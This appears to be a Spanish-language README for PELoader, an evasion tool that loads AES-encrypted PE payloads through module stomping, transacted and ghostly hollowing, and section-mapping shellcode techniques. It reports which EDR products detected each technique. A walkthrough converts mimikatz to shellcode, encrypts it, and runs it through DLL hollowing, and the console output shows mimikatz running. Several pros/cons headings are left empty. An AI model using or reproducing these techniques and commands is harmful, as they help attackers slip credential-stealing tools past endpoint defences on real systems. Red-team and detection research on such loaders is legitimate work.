
Cargador de PE con varias técnicas de inyección de shellcode
PELoader implementa varias técnicas de inyección de shellcode y utiliza la librería libpeconv para cargar archivos PE cifrados en lugar de inyectar shellcode en un hilo remoto.
Se implementaron las siguientes técnicas:
Créditos: la mayor parte de mi trabajo se basó en los scripts PoC de @hasherezade.
PELoader se probó en Windows 10 con Cortex XDR / SentinalOne / Windows Defender / CrowdStrike, y Windows Defender / CrowdStrike detectaron las técnicas Transacted Hollowing. Las características de cada técnica se probaron con la herramienta de escaneo de memoria Moneta de @forrest-orr.
Module Stomping (LoadLibrary)
Llama a LoadLibrary para cargar una DLL legítima. Sobrescribe la DLL con el payload.
Ventajas

Module Stomping (NtMapViewOfSection)
Llama a NtCreateSection para crear un objeto de asignación de archivo (PAGE_READONLY) para una DLL legítima, y llama a NtMapViewOfSection para mapearlo en el proceso actual. Sobrescribe la DLL con el payload.
Ventajas
Desventajas

referencia al PoC de @hasherezade.
Transacted Hollowing
Una mezcla entre Process Hollowing y Process Doppelgänging. Crea un archivo "invisible" dentro de la transacción NTFS y escribe el payload en el archivo. Mapea la sección al proceso actual y la ejecuta.
Ventajas
Desventajas

Ghostly Hollowing
Una mezcla entre Process Hollowing y Process Ghosting. Crea un archivo con estado de eliminación pendiente y escribe el payload en el archivo. Mapea la sección al proceso actual y la ejecuta.
Ventajas
Desventajas
referencia al PoC de @hasherezade.
NtMapViewOfSection (RWX-RW-RX)
Llama a NtCreateSection para crear una sección de memoria (RWX). Llama a NtMapViewOfSection para mapear una vista al proceso actual (RWX). Llama a VirtualProtect para cambiar la protección a RW. Copia el shellcode a la sección mapeada. Cambia la protección a RX y lo ejecuta.
Ventajas
Desventajas

NtAllocateVirtualMemory (RW-RX)
Llama a NtAllocateVirtualMemory para asignar memoria (RW). Copia el shellcode a la memoria. Cambia la protección a RX y lo ejecuta.
Ventajas
Desventajas

Cifrar Payload con AES
Convierte el archivo PE a shellcode con pe_to_shellcode y lo cifra con PELoader
cmd> .\pe2shc.exe mimikatz.exe
Reading module from: mimikatz.exe
[WARNING] This is a console application! The recommended subsystem is GUI.
[+] Saved as: mimikatz.shc.exe
cmd> set hagrid=enc mimikatz.shc.exe
cmd> .\PELoader.exe
argument: enc mimikatz.shc.exe
Encrypting File
Ejecución del PE
Establece el argumento en la variable de entorno "hagrid" y ejecuta PELoader
cmd> set hagrid=cdll mimikatz.shc.exe.enc
cmd> .\PELoader.exe version
argument: cdll mimikatz.shc.exe.enc
Classic DLL Hollowing
[*] target dll: C:\WINDOWS\system32\aadtb.dll
[*] implant dll: mimikatz.shc.exe.enc
[*] Loading the DLL (using LoadLibary, classic DLL hollowing)...
[*] Overwriting the mapping
[*] Module Overloading finished...
[*] Executing Implant's Entry Point: 7ff8cf9d7578
[*] Executing Implant as EXE
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # version
mimikatz 2.2.0 (arch x64)
Windows NT 10.0 build 19043 (arch x64)
msvc 150030729 207
mimikatz #